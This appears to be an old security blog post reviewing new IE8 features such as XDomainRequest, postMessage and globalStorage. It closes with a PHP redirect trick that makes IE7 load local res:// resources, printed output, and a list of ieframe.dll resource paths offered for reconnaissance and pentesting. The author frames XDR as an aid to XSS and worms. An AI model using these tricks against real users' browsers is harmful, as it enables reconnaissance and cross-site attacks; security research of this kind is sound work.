Security In IE7 & IE8.

I had some fun today on Internet Explorer and tested the new IE8 also. Along, I also compared the new security features to IE7. And there are many things to say about both versions. Don't get me started on the usability. To be honest it looks horrible. Don't know if you ever noticed it, but selecting text with your mouse has become a real challenge. It has some strange selection boundary which results in selecting text you don't want to select. Typically Microsoft, onto the security features. You might have heard or read about a new feature called XDR that allows cross-domain requests. If not, I'll explain it here in short detail as well as the other new features before I'm going into reverse engineering IE7 & IE8.



The XDR object.

xdr = new XDomainRequest();  

xdr.open('POST', 'http://www.mr.bigglesworth.com'); 

xdr.send(data);

Now, Mr.Bigglesworth needs to approve the send XDomainRequest header, but we can approve the call by returning this header to the server that requested legitimacy:

Response.AppendHeader("XDomainRequestAllowed","1");

Great, XSS made easy. No need for hijacked iframes, css or images. Nope pure Javascript does the trick for us. This obviously can bypass many XSS filters in use today, so if you run one be sure to check this beast out. In my opinion this will broaden the attack landscape since there are more ways of launching XSS or spreading worms. The XDR object also returns the responseText that gives access to:

xdr.onerror

xdr.ontimeout

xdr.onprogress

xdr.onload 

xdr.timeout

Useful, if you're into worms and all.



next, I saw that they implemented cross-document messaging in the form of the object postMessage. Opera already has it, and from a security standpoint I don't trust it. It basically means that a webpage can write into another page that is running in the same session and on the same host by attaching an event listener. Spoofing comes to mind, and maybe other attacks as well. The real question is of course: what is it for? I don't know.



Implementing it is a breeze:



page 1:

var doc = document.getElementsByTagName('iframe')[0];

doc.contentWindow.postMessage('Hello Mr. Bigglesworth!');

page 2:

document.attachEvent('onmessage',function(e) {

    if (e.domain == 'example.com') {

        if (e.data == 'Hello Mr. Bigglesworth!') {

            e.source.postMessage('Meow! Meow! Dr. Evil!');

        } else {

            alert(e.data);

        }

    }

});

Hash write access.



Another thing that caught my eye was write access to the hash of an url. Doesn't sound smart because I don't want Javascript to manipulate the hash. Not only can it be annoying, it can lead to security issues depending on the setting of your website.



Webslices.



If I understand it correctly this feature allows users to favorite the slice or put it in their feed reader. Better expect some buffer overflows here since IE8 now listens for a tag called 'hslice' on any page it opens, would be nice to fuzz this feature.

<div class="hslice" id="main">

<h2 class="entry-title">All I want are friggin' sharks with friggin' lazer beams attached to their heads! </h2>

</div> 

GlobalStorage & SessionStorage.



IE8 jumped on the Mozilla bandwagon and implemented the Session object. I can't say I'm that impressed because I as I said before; allowing 10MB of data to be stored in such object (XML file in IE8) isn't smart. Let alone the permanent storage of user tracking details, XSS worms and other spy-ware.



IE8 GlobalStorage

<script>



var storage = globalStorage[location.hostname];



storage.some_string = '

Ladies and Gentlemen welcome to my underground lair. 

I have gathered here before me the worlds deadliest assassins. 

And yet each of you has failed to kill Austin powers. 

That makes me angry. And when Dr. Evil  get angry, Mr. Bigglesworth gets upset. 

And when Mr. Bigglesworth gets upset...people DIE!!! 

Why must I be surrounded by freakin idiots. Mustafa, Frau Farbissina...

';



</script> 

Reverse Engineering IE7 & IE8.



Okay, this is fun. I'm going to show you a couple things I found out about Internet Explorer. First off IE8 prevents header forwards on files, pity this was pretty 'evil' in MSIE 7 where it is still possible to change the location of a file to a local file stored on your computer. It's very simple:

<?

header("location: localfile ");

?>

And IE7 follows it, whereas IE8 refuses to follow.



The reason why this is dangerous is because of this XML file that contains system information which we could parse. Useful for reconnaissance and possibly other attack schemes.

<?

header("location: res://ieframe.dll/24/123");

?>

Results in IE7:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?> 

- <!--  Copyright (c) Microsoft Corporation 

  --> 

- <assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0">

  <assemblyIdentity name="Microsoft.Windows.InetCore.ieframe"processorArchitecture="x86" version="5.1.0.0" 

type="win32" /> 

  <description>Windows IE</description> 

- <dependency>

- <dependentAssembly>

  <assemblyIdentity type="win32"name="Microsoft.Windows.Common-Controls"version="6.0.0.0" processorArchitecture="*" 

publicKeyToken="6595b64144ccf1df" language="*" 

/> 

  </dependentAssembly>

  </dependency>

- <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">

- <security>

- <requestedPrivileges>

  <requestedExecutionLevel level="asInvoker" uiAccess="false" /> 

  </requestedPrivileges>

  </security>

  </trustInfo>

- <asmv3:application>

- <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">

  <dpiAware>true</dpiAware> 

  </asmv3:windowsSettings>

  </asmv3:application>

  </assembly>

If you notice correctly I read res://ieframe.dll/24/123 located on ieframe.dll which is the IEDataObjectWrapper (InProcServer32) I don't know why they still allow this to be browsable, because you can resource it on iframes, XML and as a Javascript source. So I went further to find all data object in IE8 and a few in IE7.



IE7/8 data sources are:

res://ieframe.dll/MUI/1

res://ieframe.dll/TYPELIB/1

res://ieframe.dll/UIFILE/{20481,20482,20483,20484,20484,20485,20486,20487,39216,41555}

res://ieframe.dll/WEVT_TEMPLATE/1

res://ieframe.dll/Version Info/1

res://ieframe.dll/23/ABOUT.js

res://ieframe.dll/23/ANALYZE.js

res://ieframe.dll/23/ANCHBRWS.js

res://ieframe.dll/23/DOCBROWS.js

res://ieframe.dll/23/ERROR.js

res://ieframe.dll/23/HTTPERRORPAGESSCRIPTS.js

res://ieframe.dll/23/IEERROR.js

res://ieframe.dll/23/IMGBROWS.js

res://ieframe.dll/23/INVALIDCERT.js

res://ieframe.dll/23/ORGFAV.js

res://ieframe.dll/23/PHISHSITE.js

res://ieframe.dll/23/POLICY.js

res://ieframe.dll/23/PREVIEW.js

res://ieframe.dll/preview.dlg (dialog)

res://ieframe.dll/23/PSTEMPLATES.js

res://ieframe.dll/24/123 (XML file)

IE6 has a few too:

res://mshtml.dll/REGINST/REGINST

res://mshtml.dll/23/ABOUT.MOZ

res://mshtml.dll/23/BLANK.HTM

res://mshtml.dll/23/REPOST.HTM

As well as others.



These are nice to play with some more, I haven't digged any deeper yet but this is quite nice to have a look at. So, enough building blocks to pentest IE a little further. If you find anything notable, do let me know.



Have fun.